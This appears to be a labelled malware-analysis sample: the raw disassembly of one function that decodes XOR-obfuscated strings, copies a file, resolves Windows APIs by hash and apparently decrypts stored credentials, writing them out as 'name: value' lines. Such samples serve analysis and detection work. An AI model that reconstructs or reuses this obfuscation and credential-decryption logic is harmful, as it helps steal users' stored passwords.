Function at 0x427fb6
Capabilities:
Copy file
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x454
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x54], 0x910a9f09
mov dword [esp + 0x58], 0x95319337
mov dword [esp + 0x5c], 0x89c8970b
mov dword [esp + 0x60], 0x8d028b2f
mov dword [esp + 0x64], 0x818e8f2b
mov dword [esp + 0x68], 0
mov eax, 0xa5
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + eax - 0x51]
mov ebx, eax
and ebx, edi
add ebx, ebx
lea ebp, [eax + edi]
add ebp, 0xe14bfa00
mov edx, edi
sub edx, ebx
lea esi, [eax + edx]
add esi, 0xe14bfa46
lea edx, [ecx + edi]
add edx, 0x1eb4055c
not edx
or edx, ebp
and edx, 1
sub ebx, edi
lea edi, [ecx + ebx]
add edi, 0x852fea94
mov ebx, edi
not ebx
and edi, 0x84
and esi, 0x7b
or esi, edi
xor esi, 0x85
and ebx, 1
or ebx, esi
add ebx, edx
mov byte [esp + eax - 0x51], bl
inc eax
dec ecx
cmp eax, 0xbd
jne case.default.0x427688
lea edi, [esp + 0x54]
lea ecx, [esp + 0x28]
push edi
call fcn.0043b100
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x447f44]
lea ecx, [esp + 0x28]
push 0x410
call fcn.0043b450
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x447f4c]
mov dword [esp + 0x54], 0xb6dfa0bd
mov dword [esp + 0x58], 0x584ed5b8
mov dword [esp + 0x5c], 0x4c554f29
mov dword [esp + 0x60], 0x335a4a2d
mov dword [esp + 0x64], 0x58272e32
mov dword [esp + 0x68], 0x5b3c2a25
mov dword [esp + 0x6c], 0x5e513a56
mov dword [esp + 0x70], 0x523b5c27
mov dword [esp + 0x74], 0x3a28222e
mov dword [esp + 0x78], 0x6a070d29
mov dword [esp + 0x7c], 0xc7360909
mov word [esp + 0x80], 0
mov eax, 0xb0e05f7a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x4f1fa0da]
xor ecx, eax
mov edx, ecx
not edx
add ecx, 0x9d
and edx, 1
or ecx, 1
add ecx, edx
mov byte [esp + eax + 0x4f1fa0da], cl
inc eax
cmp eax, 0xb0e05fa8
jne 0x427720
lea eax, [esp + 0x48]
lea ecx, [esp + 0x28]
push 0
push 0x2b
push edi
push eax
call fcn.0043bb30
mov ebp, dword [esp + 0x48]
mov ebx, dword [esp + 0x4c]
xor eax, eax
cmp ebp, ebx
sete al
jmp dword [eax*4 + 0x447f54]
mov eax, ebx
xor eax, ebp
mov ecx, ebp
not ecx
and ecx, ebx
add ecx, ecx
sub ecx, eax
sar ecx, 2
imul eax, ecx, 0x421
push eax
call fcn.00408380
add esp, 4
mov dword [esp + 0x20], 0
xor ecx, ecx
cmp ebp, ebx
setne cl
mov dword [esp + 0x1c], eax
mov dword [esp + 8], eax
mov dword [esp + 0x38], ebx
jmp dword [ecx*4 + 0x447f5c]
add ebp, 4
xor eax, eax
cmp ebp, ebx
setne al
jmp dword [eax*4 + 0x447f5c]
mov esi, dword [ebp]
push 0x400
push 0
push edi
call fcn.00408400
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x28]
push eax
push 0x400
push edi
push esi
call fcn.0043ba40
cmp eax, 0xc0000000
setae al
cmp dword [esp + 0x14], 0
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447f6c]
mov eax, 1
jmp dword [eax*4 + 0x447f74]
xor eax, eax
jmp dword [eax*4 + 0x447f74]
mov byte [esp + 0x453], 0
movzx eax, byte [esp + 0x54]
xor edx, edx
test al, al
je 0x427861
mov ecx, edi
nop
nop
cmp al, 0x2e
je 0x42785f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x427850
jmp 0x427861
mov edx, ecx
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x447f7c]
movzx eax, byte [edx + 1]
inc edx
xor esi, esi
test al, al
mov dword [esp + 4], edx
je 0x427891
mov ecx, edx
cmp al, 0x2e
je 0x42788f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x427880
jmp 0x427891
mov esi, ecx
xor eax, eax
test esi, esi
setne al
mov ecx, dword [esp + 4]
jmp dword [eax*4 + 0x447f84]
mov edx, esi
sub edx, ecx
lea ecx, [edx + edx*2]
shr ecx, 2
movzx eax, byte [esi - 1]
cmp eax, 0x3d
je 0x4278bb
cmp eax, 0x2e
jne 0x4278bc
dec ecx
mov eax, dword [esp + 4]
movzx eax, byte [eax + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x10], edx
mov dword [esp + 0x40], ebp
je 0x4278d7
cmp eax, 0x2e
jne 0x4278d8
dec ecx
mov dword [esp + 0x3c], ecx
lea eax, [ecx + 1]
push eax
call fcn.00408380
add esp, 4
mov dword [esp + 0xc], eax
cmp esi, dword [esp + 4]
mov esi, dword [esp + 0x10]
je 0x427a04
xor ebx, ebx
mov edi, 2
jmp 0x427927
mov edx, esi
mov ebx, dword [esp]
lea eax, [edi + 4]
add edi, 2
cmp edi, edx
mov edi, eax
mov esi, edx
jae 0x427a04
mov ebp, dword [esp + 4]
movzx eax, byte [ebp + edi - 2]
push eax
call fcn.0041ed80
add esp, 4
mov byte [esp], al
movzx eax, byte [ebp + edi - 1]
push eax
call fcn.0041ed80
add esp, 4
movzx ecx, byte [esp]
movzx edx, al
mov eax, edx
not eax
or eax, 0x30
mov dword [esp + 0x44], edx
add eax, edx
inc eax
shr eax, 4
lea eax, [eax + ecx*4]
lea ecx, [ebx + 1]
mov dword [esp], ecx
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x24], ebx
mov byte [ecx + ebx], al
cmp edi, esi
jae 0x427910
movzx eax, byte [ebp + edi]
push eax
call fcn.0041ed80
mov edx, dword [esp + 0x14]
add esp, 4
cmp al, 0x40
mov ebx, dword [esp]
je 0x427915
mov byte [esp], al
movzx eax, al
mov ecx, eax
not ecx
or ecx, 0x3c
add eax, ecx
inc eax
mov ecx, dword [esp + 0x44]
shl ecx, 4
shr eax, 2
add eax, ecx
mov esi, dword [esp + 0x24]
lea ebx, [esi + 2]
mov ecx, dword [esp + 0xc]
mov byte [ecx + esi + 1], al
lea eax, [edi + 1]
cmp eax, edx
jae 0x427915
mov eax, dword [esp + 4]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.0041ed80
mov edx, dword [esp + 0x14]
add esp, 4
cmp al, 0x40
movzx ecx, byte [esp]
je 0x427915
shl cl, 6
add al, cl
mov ecx, dword [esp + 0xc]
mov ebx, dword [esp + 0x24]
mov byte [ecx + ebx + 2], al
add ebx, 3
jmp 0x427915
mov eax, dword [esp + 0x3c]
mov esi, dword [esp + 0xc]
mov byte [esi + eax], 0
push esi
call fcn.00401000
add esp, 4
mov ebx, eax
jmp dword [0x447f8c]
push esi
call fcn.00408390
add esp, 4
push ebx
call fcn.00401940
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov ebp, dword [esp + 0x40]
jmp dword [ecx*4 + 0x447f94]
lea edi, [esp + 0x54]
jmp 0x427b29
mov dword [esp + 0x14], 0x8f283c3f
mov byte [esp + 0x18], 0
xor ecx, ecx
nop
nop
nop
movzx esi, byte [esp + ecx + 0x14]
lea edx, [ecx + 0x22]
mov edi, 0xa596b2dd
sub edi, ecx
xor edx, edi
and edx, esi
xor edx, edi
mov esi, 0x3bf17e54
sub esi, edx
mov edi, esi
and edi, 1
and edx, 1
and esi, 0xfe
or esi, edx
xor esi, 1
lea edx, [esi + edi*2]
mov byte [esp + ecx + 0x14], dl
lea edx, [ecx + ecx]
and edx, 2
mov esi, edx
and esi, ecx
or edx, ecx
xor edx, 1
add edx, esi
mov ecx, edx
cmp edx, 5
jb case.default.0x427ac3
lea ecx, [esp + 0x14]
push ecx
push eax
call fcn.00401890
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447fac]
lea edi, [esp + 0x54]
mov edx, dword [esp + 8]
jmp 0x427af7
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esp + 8]
je 0x427aeb
inc eax
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x427ae0
mov word [edx], 0x203a
add edx, 2
lea edi, [esp + 0x54]
movzx eax, byte [esp + 0x54]
test al, al
je 0x427b1b
lea ecx, [esp + 0x55]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427b10
mov byte [edx], 0xa
inc edx
mov dword [esp + 8], edx
mov al, 1
mov dword [esp + 0x20], eax
push ebx
call fcn.00401bb0
add esp, 4
add ebp, 4
xor eax, eax
mov ebx, dword [esp + 0x38]
cmp ebp, ebx
setne al
jmp dword [eax*4 + 0x447f5c]
mov ebx, dword [esp + 0x20]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x447f64]
mov esi, dword [esp + 0x1c]
jmp dword [0x447fb4]
xor esi, esi
test ebp, ebp
jne 0x427c27
jmp 0x427c34
mov ecx, dword [esp + 8]
mov byte [ecx], 0
mov eax, ecx
not eax
mov esi, dword [esp + 0x1c]
and eax, esi
mov edx, esi
not edx
and edx, ecx
mov dword [esp + 0x54], 0x656a6b03
mov dword [esp + 0x58], 0x69797a67
mov dword [esp + 0x5c], 0x64606263
mov dword [esp + 0x60], 0x6e620221
mov dword [esp + 0x64], 0x7d5b1873
mov dword [esp + 0x68], 0x1f151219
mov dword [esp + 0x6c], 0x29165119
mov dword [esp + 0x70], 0xa714
mov byte [esp + 0x74], 0
xor ecx, ecx
mov ebx, ecx
add bl, 0xaf
xor bl, byte [esp + ecx + 0x54]
add bl, 0x95
mov byte [esp + ecx + 0x54], bl
inc ecx
cmp ecx, 0x21
jne 0x427bd0
sub edx, eax
lea eax, [esp + 0x54]
mov ecx, dword [esp + 0x468]
push edx
push esi
push eax
call fcn.00409280
mov ebx, eax
jmp dword [0x447fb4]
push esi
call fcn.00408390
add esp, 4
nop
nop
nop
nop
jmp dword [0x447fc4]
and bl, 1
mov esi, ebx
mov ebp, dword [esp + 0x48]
mov ebx, dword [esp + 0x4c]
test ebp, ebp
je 0x427c34
cmp ebp, ebx
je 0x427c34
push ebp
call fcn.00408390
add esp, 4
mov ebx, esi
lea ecx, [esp + 0x28]
call fcn.0043b630
mov eax, ebx
add esp, 0x454
pop esi
pop edi
pop ebx
pop ebp
ret
int3
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add eax, 2
cmp word [ecx], 0
jne 0x427e40
mov edx, ecx
not edx
and edx, edi
mov eax, edi
not eax
and eax, ecx
sub eax, edx
cmp eax, 0xffffffd9
jge 0x427e65
mov eax, 0xffffffff
jmp 0x427e68
add eax, 0x26
push eax
call fcn.00408380
add esp, 4
mov dword [esp + 0x6c], eax
mov dword [esp + 0x14], 0x611b6700
mov dword [esp + 0x18], 0x7d146311
mov dword [esp + 0x1c], 0x79057f02
mov dword [esp + 0x20], 0x751e7b01
mov dword [esp + 0x24], 0x71077709
mov dword [esp + 0x28], 0x8d0c7306
mov dword [esp + 0x2c], 0x89f78ff7
mov dword [esp + 0x30], 0x85048bbe
mov dword [esp + 0x34], 0x81f887f8
mov word [esp + 0x38], 0x8380
mov dword [esp + 0x3a], 0
mov word [esp + 0x3e], 0
mov eax, 0x97d87d16
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esi]
xor ebx, eax
mov ecx, ebx
mov edx, ebx
and edx, 0x172
add edx, edx
sub edx, ebx
not ebx
mov ebp, ebx
and ebp, 0x60220170
and ecx, 2
imul ecx, ebp
and ebx, 2
or ebp, 2
imul ebp, ebx
add ebp, ecx
add edx, 0x36f66e8d
mov ecx, edx
and ecx, ebp
xor ebp, edx
lea ecx, [ecx*2]
add ecx, ebp
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
mov byte [esi], cl
inc esi
dec eax
cmp eax, 0x97d87cea
jne 0x427ee0
movzx ecx, word [edi]
mov ebp, dword [esp + 0x6c]
mov eax, ebp
test cx, cx
je 0x427f61
mov edx, edi
add edx, 2
mov eax, ebp
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427f50
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x427f91
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427f80
mov word [eax], 0
jmp dword [0x447fd4]
push edi
call fcn.00408390
add esp, 4
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x447fdc]
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x447fdc]
mov dword [esp + 0x14], 0xb9f4bbc1
mov dword [esp + 0x18], 0xbddbbfd4
mov dword [esp + 0x1c], 0xb120b32d
mov dword [esp + 0x20], 0xb529b72a
mov dword [esp + 0x24], 0xa9c6ab2d
mov dword [esp + 0x28], 0xad3fafcd
mov dword [esp + 0x2c], 0xa138a33e
mov dword [esp + 0x30], 0xa53fa73f
mov dword [esp + 0x34], 0xd950dbf6
mov dword [esp + 0x38], 0xdd44dfbc
mov dword [esp + 0x3c], 0xd3dc
mov byte [esp + 0x40], 0
mov eax, 0x236e329f
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x236e328b]
xor ecx, eax
mov edx, ecx
and edx, 1
or ecx, 1
add ecx, edx
add cl, 0xe4
mov byte [esp + eax - 0x236e328b], cl
inc eax
cmp eax, 0x236e32cc
jne 0x428030
lea eax, [esp + 0x14]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
lea eax, [esp + 0xa8]
push eax
push ebp
call fcn.0043ff30
add esp, 0x14
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [esp + 8], 0
jmp dword [eax*4 + 0x447fe4]
jmp dword [0x447ff0]
push ebp
call fcn.00408390
add esp, 4
mov dword [esp], 0
jmp dword [0x4481e0]
mov dword [esp + 8], esi
jmp dword [0x448064]
mov dword [esp + 0x14], 0x5d685679
mov dword [esp + 0x18], 0x62506059
mov dword [esp + 0x1c], 0x5d6d711d
mov dword [esp + 0x20], 0x81b6456
mov dword [esp + 0x24], 0x26151828
mov dword [esp + 0x28], 0x101f7061
mov dword [esp + 0x2c], 0x2528202d
mov word [esp + 0x30], 0xbb25
mov dword [esp + 0x32], 0
mov byte [esp + 0x36], 0
mov eax, 0xbcb59db1
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x434a6263]
xor ecx, eax
mov edx, ecx
and edx, 0xa
xor ecx, 0x8a
lea ecx, [ecx + edx*2]
inc cl
mov byte [esp + eax + 0x434a6263], cl
inc eax
cmp eax, 0xbcb59dd4
jne 0x428110
lea eax, [esp + 0x14]
mov ecx, dword [esp + 0x10]
push eax
call fcn.0042b2f0
xor ecx, ecx
test eax, eax
setne cl
xor esi, esi
jmp dword [ecx*4 + 0x448024]
jmp dword [0x448034]
add eax, 8
xor ebx, ebx
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor esi, esi
xor edi, edi
mov dword [esp + 4], 0
jmp dword [eax*4 + 0x44803c]
mov esi, dword [esp + 8]
mov eax, dword [esp + 0x70]
mov dword [esi + eax + 4], ecx
mov ebx, dword [esp + 0xc]
add ebx, 8
mov ecx, dword [esp + 0x68]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, esi
jmp dword [eax*4 + 0x44803c]
mov dword [esp + 0x68], ecx
mov ebp, dword [ecx]
mov esi, ebx
sub esi, edi
mov ecx, dword [esp + 4]
cmp ebx, ecx
mov dword [esp + 0x70], esi
je 0x4281d8
mov dword [esp + 0xc], ebx
jmp 0x42824e
mov eax, esi
sar eax, 3
inc eax
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x4281ef
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.00408380
add esp, 4
mov esi, eax
test edi, edi
je 0x42823d
cmp edi, dword [esp + 4]
je 0x428234
mov edx, esi
xor eax, eax
nop
mov ecx, dword [edi + eax]
mov dword [edx + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [edx + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, dword [esp + 4]
jne 0x428210
push edi
call fcn.00408390
add esp, 4
mov edi, esi
lea ecx, [esi + ebx*8]
mov eax, esi
mov esi, dword [esp + 0x70]
add eax, esi
mov dword [esp + 0xc], eax
mov dword [esp + 4], ecx
mov dword [edi + esi], 0
mov dword [edi + esi + 4], 0
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + ebx], 0
lea ebx, [ebx + 1]
jne 0x428270
push ebx
call fcn.00408380
add esp, 4
mov dword [esp + 8], edi
mov dword [edi + esi], eax
mov ecx, ebx
shr ecx, 2
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
mov dword [esp], ebp
add edx, ebp
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov ecx, ebx
inc cl
test cl, 1
mov ebp, dword [esp + 0x6c]
jne 0x4282db
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor ecx, ecx
cmp ebx, 1
je 0x428190
mov ecx, 0xffffffff
mov eax, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebp, edi
shl ebp, 0x1d
sar ebp, 0x1f
and ebp, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebp
mov ebp, edi
shl ebp, 0x1b
sar ebp, 0x1f
and ebp, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebp
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp ebx, eax
jne 0x4282f0
not ecx
mov ebp, dword [esp + 0x6c]
jmp 0x428190
add eax, 8
mov dword [esp], 0
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
mov edi, edx
jmp dword [eax*4 + 0x4480d4]
jmp dword [0x4480e8]
cmp dword [ecx + 0x18], 3
mov esi, 0
jne 0x4283b0
mov esi, dword [ecx + 0x10]
jmp 0x4283b0
mov dword [esp + 0x6c], ecx
mov eax, dword [ecx]
mov ebp, eax
test eax, eax
setne al
test esi, esi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4480ec]
mov dword [esp + 0x10], edi
mov eax, esi
nop
nop
nop
nop
nop
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x42841d
sub ecx, esi
inc ecx
shr ecx, 1
mov dword [esp + 0x78], ecx
lea eax, [ecx + 1]
push eax
call fcn.00408380
add esp, 4
mov edi, eax
movsx eax, byte [esi]
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x68], edi
jmp dword [ecx*4 + 0x448104]
mov byte [edi], al
inc edi
movsx eax, byte [ecx]
xor edx, edx
test eax, eax
setne dl
mov esi, ecx
jmp dword [edx*4 + 0x448104]
lea ecx, [esi + 1]
mov edx, eax
or edx, 0x20
add edx, 0xffffff9f
cmp edx, 5
ja case.default.0x42846b
mov eax, edx
and eax, 2
xor edx, 0xa
lea eax, [edx + eax*2]
movsx edx, byte [ecx]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x44810c]
add eax, 0xffffffd0
cmp eax, 0xa
jb case.default.0x428497
mov eax, 0xffffffff
movsx edx, byte [ecx]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x44810c]
mov ecx, edx
or ecx, 0x20
add ecx, 0xffffff9f
cmp ecx, 5
ja case.default.0x4284cb
mov edx, ecx
and edx, 2
xor ecx, 0xa
lea ecx, [ecx + edx*2]
add esi, 2
shl eax, 4
or eax, ecx
mov byte [edi], al
inc edi
movsx eax, byte [esi]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448104]
add edx, 0xffffffd0
cmp edx, 0xa
jb case.default.0x428502
mov edx, 0xffffffff
add esi, 2
shl eax, 4
or eax, edx
mov byte [edi], al
inc edi
movsx eax, byte [esi]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448104]
jmp dword [0x448118]
mov ebp, dword [esi]
xor edi, edi
jmp dword [edi*4 + 0x448154]
add esi, 8
xor ebx, ebx
cmp esi, dword [esp + 0xc]
setne bl
jmp dword [ebx*4 + 0x448124]
jmp dword [0x448138]
mov edi, dword [esi + 4]
mov ebx, edi
shr ebx, 0x1c
shl edi, 4
or edi, 1
xor ebx, edx
xor edi, eax
xor ecx, ecx
or edi, ebx
sete cl
jmp dword [ecx*4 + 0x44813c]
mov edi, 1
jmp dword [edi*4 + 0x448154]
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x44815c]
mov ebx, dword [esp + 0xc]
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x68]
jmp dword [0x44816c]
mov eax, dword [esp + 0x78]
mov dword [esp + 0x14], eax
mov ebx, dword [esp + 0xc]
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x68]
mov dword [esp + 0x18], esi
mov eax, 0xffffffff
nop
cmp byte [ebp + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x428601
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], ebp
mov dword [esp + 0x8c], 0
mov dword [esp + 0x90], 0
push 0xe18a387a
push dword [0x44d2c4]
call fcn.0043f550
add esp, 8
lea ecx, [esp + 0x8c]
lea edx, [esp + 0x7c]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x2c]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448164]
jmp dword [0x44816c]
movzx eax, byte [ebp]
test al, al
je 0x428623
inc ebp
mov byte [edi], al
inc edi
movzx eax, byte [ebp]
inc ebp
test al, al
jne 0x428617
mov word [edi], 0x203a
add edi, 2
mov edx, dword [esp + 0x8c]
test edx, edx
je 0x428665
mov eax, dword [esp + 0x90]
mov ecx, edx
and ecx, 3
je 0x428669
xor esi, esi
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [edi + esi], bl
inc esi
cmp ecx, esi
jne 0x428646
add edi, esi
mov ecx, edx
sub ecx, esi
mov esi, edi
mov ebx, dword [esp + 0xc]
jmp 0x42866b
mov esi, edi
jmp 0x4286a9
mov ecx, edx
cmp edx, 4
jb 0x4286a9
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 1], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 2], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
lea esi, [edi + 4]
mov byte [edi + 3], dl
mov edi, esi
add ecx, 0xfffffffc
jne 0x428670
mov byte [esi], 0xa
inc esi
push 0xa7ffa4f5
push dword [0x44d2ac]
call fcn.0043f550
add esp, 8
push dword [esp + 0x90]
call eax
mov al, 1
mov dword [esp], eax
mov edi, esi
mov esi, dword [esp + 0x68]
jmp dword [0x44816c]
jmp dword [0x448174]
push esi
call fcn.00408390
add esp, 4
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00408390
add esp, 4
jmp dword [0x448180]
mov ecx, dword [esp + 0x6c]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x4480d4]
xor ebp, ebp
xor ebx, ebx
mov esi, dword [esp + 8]
cmp esi, dword [esp + 0xc]
setne bl
jmp dword [ebx*4 + 0x448124]
mov byte [edi], 0
push 0
push 0x10
push 0
push ebp
call fcn.0042b4f0
add esp, 0x10
mov byte [edi], 0
push 0
push 0x10
push 0
push ebp
call fcn.0042b4f0
add esp, 0x10
jmp dword [0x44811c]
mov esi, ebp
jmp dword [0x4481b8]
xor eax, eax
mov edi, dword [esp + 8]
jmp dword [0x448094]
xor edx, edx
jmp dword [0x44819c]
jmp dword [0x448010]
mov esi, dword [esp + 0x7c]
lea eax, [esi + 1]
push eax
call fcn.00408380
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0xa8]
call fcn.00440350
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x448014]
mov esi, dword [esp + 0x7c]
mov byte [edi + esi], 0
push 0x20
call fcn.00408380
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x10], eax
mov ecx, eax
push esi
mov dword [esp + 0x7c], edi
push edi
call fcn.0042b100
movzx eax, al
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x44801c]
mov edi, dword [esp + 0x78]
jmp dword [0x448044]
mov ecx, dword [esp + 0x10]
call fcn.0042b450
push dword [esp + 0x10]
call fcn.00408390
add esp, 4
jmp dword [0x44804c]
jmp dword [0x44804c]
push edi
call fcn.00408390
add esp, 4
mov eax, dword [case.0x42789c.30]
nop
nop
jmp eax
test edi, edi
je case.0x427688.166
cmp edi, ebx
je case.0x427688.166
mov esi, edi
jmp 0x428867
add esi, 8
cmp esi, ebx
je 0x428878
mov eax, dword [esi]
test eax, eax
je 0x428860
push eax
call fcn.00408390
add esp, 4
jmp 0x428860
push edi
call fcn.00408390
add esp, 4
xor ebx, ebx
xor edi, edi
jmp case.0x427688.166
push edi
call fcn.00408390
add esp, 4
xor ebx, ebx
xor edi, edi
jmp dword [0x4481e8]
test edi, edi
je 0x42889d
cmp edi, ebx
je 0x42889d
mov esi, edi
jmp 0x4288b7
add esi, 8
cmp esi, ebx
je 0x428890
mov eax, dword [esi]
test eax, eax
je 0x4288b0
push eax
call fcn.00408390
add esp, 4
jmp 0x4288b0
mov eax, dword [esp]
add esp, 0xdc
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x94]
push 0
push eax
push dword [esp + 0x7c]
call fcn.00440280
add esp, 0xc
not eax
shr eax, 0x1f
xor edx, edx
mov edi, dword [esp + 4]
mov dword [esp], 0
jmp dword [eax*4 + 0x4480b4]
mov esi, dword [esp + 0x94]
lea eax, [esi + 1]
push eax
call fcn.00408380
add esp, 4
push 0
push esi
mov dword [esp + 0x90], eax
push eax
push dword [esp + 0x80]
call fcn.00440350
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp], 0
mov edi, dword [esp + 4]
jmp dword [eax*4 + 0x4480bc]
mov esi, dword [esp + 0x94]
mov edi, dword [esp + 0x88]
mov byte [edi + esi], 0
push 0x20
call fcn.00408380
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x84], eax
mov ecx, eax
push esi
push edi
call fcn.0042b100
movzx eax, al
mov dword [esp], 0
mov edi, dword [esp + 4]
jmp dword [eax*4 + 0x4480c4]
mov dword [esp + 0x14], 0xede0ea11
mov dword [esp + 0x18], 0xe6e8f8d1
mov dword [esp + 0x1c], 0xedf5f92d
mov dword [esp + 0x20], 0x27ecda
mov dword [esp + 0x24], 0x1a0d10e0
mov dword [esp + 0x28], 0x1f1fead9
mov dword [esp + 0x2c], 0x1507181e
mov dword [esp + 0x30], 0x1d0300e5
mov dword [esp + 0x34], 0xbb1f
xor eax, eax
xor ebp, ebp
movzx ecx, byte [esp + eax + 0x14]
mov edx, eax
xor edx, 0xbd2f81f0
mov esi, ebp
and esi, 0x1e
sub esi, edx
lea edx, [esi + 0x7de4d6df]
mov edi, ecx
and edi, edx
add edi, edi
xor edx, edi
mov ebx, 0x21b2920
sub ebx, esi
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, cl
add dl, 0x55
mov byte [esp + eax + 0x14], dl
inc eax
add ebp, 2
cmp eax, 0x24
jne case.default.0x428a69
mov ecx, dword [esp + 0x84]
lea eax, [esp + 0x14]
push eax
call fcn.0042b2f0
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp], 0
